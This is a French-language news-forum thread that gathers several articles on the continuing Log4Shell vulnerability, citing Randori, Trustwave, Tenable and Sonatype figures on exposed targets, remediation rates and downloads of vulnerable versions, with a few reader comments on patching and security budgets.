Cela fait maintenant plus de trois mois que la vulnérabilité Log4Shell, qui affecte le cadre de journalisation Log4j, est apparue. Mais une nouvelle étude de Randori montre qu'elle continue à donner des maux de tête aux entreprises et identifie les 10 principales cibles attaquables.

VMWare Horizon est en tête de liste, 10 % des grandes entreprises ayant une instance exposée à l'Internet. Si elle est piratée, elle donne à un pirate un accès en aval. VMware Horizon a été touché quelques semaines après l'apparition de la vulnérabilité et des courtiers d'accès vendent des accès via des exploits Log4j.

Viennent ensuite Jamf et PingFederate, qui sont utilisés par 1 à 2 % du marché des entreprises. Comme VMware, ils fournissent à un attaquant un accès supplémentaire en aval à d'autres systèmes - mécanismes d'authentification (Ping), d'automatisation (Jamf) - qui offrent aux attaquants une excellente occasion de pivoter et d'étendre leurs opérations.

Log4j étant enfoui profondément dans des couches et des couches de code tiers partagé, il est probable que la vulnérabilité Log4j continuera d'être exploitée dans les services utilisés par les organisations qui utilisent beaucoup de logiciels libres.

Il est conseillé aux entreprises de considérer que les actifs ayant un grand nombre d'accès sont les plus attaquables. Commencez par examiner les éléments que vous souhaitez le plus protéger et partez de là. Cela signifie qu'il faut ajouter la journalisation et la surveillance autour des applications clés ainsi que des actifs ayant un accès important, comme les VPN et les outils d'accès à distance.

Source : Randori

Et vous ?

Qu'en pensez-vous ?

Voir aussi :

Une vulnérabilité Log4J extrêmement critique met une grande partie d'Internet en danger

Log4j : la directrice du CISA s'attend à des retombées de la faille qui vont s'étendre sur des années, et servir à des intrusions futures dans les systèmes des entreprises

Log4j : une entreprise du Fortune 500 exige des réponses rapides et gratuites du créateur de cURL, qui leur a indiqué qu'il le ferait « dès que nous aurons signé un contrat de support »

Des cybercriminels exploitent activement la faille critique dans Log4J : plus de 840 000 attaques ont été détectées, le spectre d'un scénario rappelant Heartbleed fait surface

[damthemad]

L'exemple donné d'utilisation n'est pas très pertinent. Les erreurs 404 sont généralement gérées par un serveur http frontal et ne parviennent pas à la couche applicative qui fait usage de log4j. Apache, nginx, iis etc. ont leur propre mécanisme de journalisation.

Même si il reste très présent pour des raisons historiques, Log4j est en perte de vitesse depuis longtemps déjà et est largement supplanté par SLF4J + logback. Beaucoup de dev. Java moderne sont basés sur Spring et Spring Boot qui n'utilisent pas log4j par défaut.

Quand à l'exploitabilité de la faille, je reste dubitatif. Je n'ai pas vraiment creusé le sujet car j'étais en congés quand la faille est apparue au grand jour mais de mes souvenirs, il faut quand même une sacré conjonction de conditions. Par exemple où je travaille chaque appli est dans un subnet dédié avec un contrôle strict des flux en entrée et en sortie sont contrôlés, aucune chance que cette faille puisse être exploitée. Le mécanisme qui créé la faille n'est par ailleurs pas non plus des plus utilisés.

Enfin quand à la recommandation de tracer tous les éléments logiciels ça me fait bien marrer. Aujourd'hui le moindre projet java moderne, notamment si il est basé sur les frameworks les plus couramment utilisés, tire des dizaines et des dizaines, voire plus encore, de dépendances. Vouloir tracer et analyser ces dépendances transitives (a a une dépendance sur b qui en a une sur c et d, d en a une sur e etc.) est juste mission impossible sauf à cartographier tout l'écosystème open source qui est très riche sur la plateforme java. Ce genre de recommandation est purement théorique et hors sol.

[Sandra Coret]

Six mois après la divulgation de la vulnérabilité Log4Shell, les instances vulnérables restent accessibles sur Internet et des personnes tentent de les exploiter, selon le rapport Trustwave SpiderLabs Telemetry

À partir des données recueillies par le moteur de recherche de périphériques Shodan, le rapport montre qu'au 9 juin 2022, 1 467 instances étaient vulnérables à Log4Shell.

Ces instances vulnérables proviennent de la Fédération de Russie, des États-Unis et de l'Allemagne, avec 266 (18 %), 215 (15 %) et 205 (15 %) hôtes, respectivement.

Sur une note positive, le rapport montre que les entreprises sont susceptibles d'appliquer des correctifs à leurs systèmes en temps opportun, ou qu'elles sont plus conscientes de leur sécurité qu'elles ne l'étaient l'année dernière, certaines des vulnérabilités très graves sélectionnées pour ce rapport affectant moins de 10 % des hôtes échantillonnés par Shodan.

Le nombre de vulnérabilités critiques a augmenté de 5 % par rapport aux 13 % de l'année dernière et le nombre total de CVE pour 2022 devrait dépasser celui de l'année dernière.

Les auteurs du rapport concluent : "Les acteurs de la menace scrutent continuellement Internet pour prendre l'avantage sur les organisations dont les processus de correction sont lents ou obsolètes. Par conséquent, une approche proactive de l'identification des vulnérabilités est incroyablement importante. Savoir quelles sont les vulnérabilités, nouvelles et anciennes, qui doivent nous préoccuper, et agir au bon moment, sont deux facteurs critiques qui doivent être en place pour avoir une bonne posture de sécurité. Comme le montre ce rapport, de plus en plus d'organisations s'impliquent dans la protection de leurs actifs à mesure que des vulnérabilités critiques apparaissent dans le domaine public."

Pour améliorer la protection, le rapport recommande que le personnel de sécurité procède à un examen régulier des actifs au moyen d'audits, de scans et/ou de tests de pénétration, et qu'il donne la priorité à l'application de correctifs sur les systèmes clés. Les entreprises devraient également limiter l'accès aux systèmes et appliquer le principe du moindre privilège, et soutenir autant que possible les équipes de sécurité chargées de protéger et d'appliquer ces concepts.

Source : Trustwave

Et vous ?

Qu'en pensez-vous ?

Et vous ?

Les équipes de sécurité trouvent plus facile d'atténuer Log4Shell plutôt que de le corriger définitivement, le délai moyen de remédiation après détection est de 17 jours, selon Qualys Cloud Platform

L'exploitation de Log4Shell se poursuit : plus de 30 000 scans signalés en janvier, la vulnérabilité continue de représenter une vaste menace malgré le correctif publié par la Fondation Apache

73% des organisations ont considérablement augmenté leurs efforts en matière de sécurité de la chaîne logistique logicielle, suite aux évènements Log4Shell, SolarWinds et Kaseya, selon Synopsys

[Steinvikel]

Qu'en pensez-vous ?

" Les entreprises devraient également limiter l'accès aux systèmes et appliquer le principe du moindre privilège, et soutenir autant que possible les équipes de sécurité chargées de protéger et d'appliquer ces concepts. "

Le problème récurrent étant que l'organe de décision exprime chez beaucoup d'entreprises :
"on veut de la sécurité, mais hors de question de débourser autant, hors de question que la mise en oeuvre prends autant de temps ...on veut de la sécu à pas cher, parce qu'on a décidé que ce serait suffisant pour l'instant." ...le "après" étant éternellement reporté par la suite.

Ce qu'il faut est simple : former ses équipes de sécurité, leur permettre un temps pour la veille, et leur donner les pouvoirs (de décision) pour agir sur le plan technique afin d'atteindre leur but. C'est ce que j'ai constaté dans la plupart des entreprises jusqu'à aujourd'hui, qui n'est que trop rarement appliqué.

[Sandra Coret]

Trois organisations sur quatre sont encore vulnérables à Log4Shell malgré des améliorations : 2,5 % des actifs restent vulnérables en octobre 2022, contre 10 % en décembre 2021, d'après Tenable

La vulnérabilité Log4j ou Log4Shell a fait la une de l'actualité en décembre 2021, provoquant des remous dans le monde de la cybersécurité. Il est donc normal de penser qu'elle n'est plus une menace. Cependant, un an plus tard, un an plus tard, il semble que ce soit une vulnérabilité qui continue à être vulnérable.

Une nouvelle étude de Tenable, basée sur des données collectées à partir de plus de 500 millions de tests, montre que 72 % des organisations restent vulnérables à Log4Shell en octobre de cette année.

L'analyse de la télémétrie de Tenable a révélé qu'un actif sur 10 était vulnérable à Log4Shell en décembre 2021, y compris un large éventail de serveurs, d'applications web, de conteneurs et d'appareils IoT. En octobre 2022, les données ont montré des améliorations, avec 2,5 % des actifs vulnérables. Pourtant, près d'un tiers (29 %) de ces actifs présentaient des récurrences de Log4Shell après la réalisation d'une remédiation complète.

"Il est très difficile d'obtenir une correction complète d'une vulnérabilité aussi répandue et il est important de garder à l'esprit que la correction des vulnérabilités n'est pas un processus unique", déclare Bob Huber, directeur de la sécurité chez Tenable. "Bien qu'une organisation ait pu être entièrement corrigée à un moment donné, elle est susceptible de rencontrer à nouveau Log4Shell au fur et à mesure qu'elle ajoute de nouveaux actifs à ses environnements. L'éradication de Log4Shell est une bataille permanente qui demande aux organisations d'évaluer continuellement leurs environnements pour détecter cette faille, ainsi que d'autres vulnérabilités connues."

Certains secteurs s'en sortent mieux que d'autres, l'ingénierie (45 %), les services juridiques (38 %), les services financiers (35 %), les organisations à but non lucratif (33 %) et les administrations publiques (30 %) étant en tête du peloton avec le plus grand nombre d'organisations entièrement remédiées. Environ 28 % des organisations d'infrastructures critiques définies par la CISA sont également entièrement remédiées.

Les organisations d'Amérique du Nord sont les plus susceptibles d'avoir entièrement remédié à Log4j (28 %), suivies par l'Europe, le Moyen-Orient et l'Afrique (27 %), l'Asie-Pacifique (25 %) et l'Amérique latine (21 %). L'Amérique du Nord est également la première région pour le pourcentage d'organisations qui ont partiellement remédié à la situation (90 %) par rapport à l'Europe, le Moyen-Orient et l'Afrique (85 %), l'Asie-Pacifique (85 %) et l'Amérique latine (81 %).

Source : Tenable

et vous ?

Qu'en pensez-vous ? trouvez-vous cette étude pertinente ?
Qu'en est-il dans votre organisation ?

Voir aussi :

Un nouveau groupe de travail sur la cybersécurité affirme que la faille du logiciel Log4j est "endémique", et qu'elle pourrait poser des risques de sécurité pendant une décennie ou plus

Six mois après la divulgation de la vulnérabilité Log4Shell, les instances vulnérables restent accessibles sur Internet et des personnes tentent de les exploiter, selon un rapport de Trustwave

Les 10 principales cibles attaquables par Log4j, qui continue d'être un problème pour les entreprises*: VMWare Horizon est en tête, suivie de Jamf et PingFederate, selon une étude de Randori

Des sénateurs présentent une législation bipartisane visant à renforcer la sécurité des logiciels libres, suite à une audition organisée sur l'incident Log4j

[Anthony]

Le nombre de téléchargements de versions Log4j vulnérables reste élevé un an après l'incident, environ 30 à 40 % de tous les téléchargements concernent la version exposée

Cette semaine marque le premier anniversaire de la vulnérabilité Log4j/Log4Shell affectant la bibliothèque de journalisation Java et, comme indiqué récemment, de nombreuses organisations sont toujours vulnérables même si des versions corrigées ont été rapidement disponibles.

Sonatype a produit un centre de ressources pour montrer l'état actuel de la vulnérabilité, ainsi qu'un outil pour aider les entreprises à analyser leur code source ouvert pour voir s'il est affecté.

Le tableau de bord montre le pourcentage de téléchargements de Log4j qui restent vulnérables -- actuellement autour de 34% depuis décembre dernier -- il montre également les parties du monde qui ont vu le pourcentage le plus élevé de téléchargements vulnérables.

Brian Fox, directeur technique de Sonatype, déclare :

Log4j a été un rappel brutal de l'importance cruciale de la sécurisation de la chaîne d'approvisionnement des logiciels. Il était utilisé dans pratiquement toutes les applications modernes et a affecté les services des organisations dans le monde entier. Un an après l'incident Log4Shell, la situation reste sombre. D'après nos données, 30 à 40 % de tous les téléchargements de Log4j concernent la version vulnérable, bien qu'un correctif ait été publié dans les 24 heures suivant la divulgation prématurée de la vulnérabilité.

Il est impératif que les organisations reconnaissent que la plupart des risques liés à l'open source se situent au niveau des consommateurs, qui doivent adopter les meilleures pratiques au lieu de blâmer un code défectueux. Log4j n'est pas un incident isolé : 96 % des téléchargements de composants open source vulnérables disposaient d'une version corrigée.

Les organisations ont besoin d'une meilleure visibilité de chaque composant utilisé dans leurs chaînes d'approvisionnement en logiciels. C'est pourquoi les solutions d'analyse de la composition des logiciels de qualité sont si importantes aujourd'hui, alors que le monde envisage l'utilité des SBOM à l'avenir. La politique britannique et européenne en matière de logiciels devrait exiger que les consommateurs commerciaux de logiciels libres soient en mesure d'effectuer l'équivalent d'un rappel ciblé, tout comme nous l'attendons des fabricants de biens physiques tels que l'industrie automobile. La visibilité générale conférera des avantages supplémentaires aux organisations, comme la possibilité de prendre des décisions à l'échelle du portefeuille pour investir ou désinvestir dans certaines technologies, et de réduire la portée.

Source : Sonatype

Et vous ?

Qu'en pensez-vous ?
D'après vous, pourquoi les entreprises continuent-elles de télécharger la version vulnérable de Log4j ?

Voir aussi

Une vulnérabilité Log4J extrêmement critique met une grande partie d'Internet en danger
Deuxième vulnérabilité Log4j découverte : un correctif est déjà publié, le correctif de la première vulnérabilité étant « incomplet »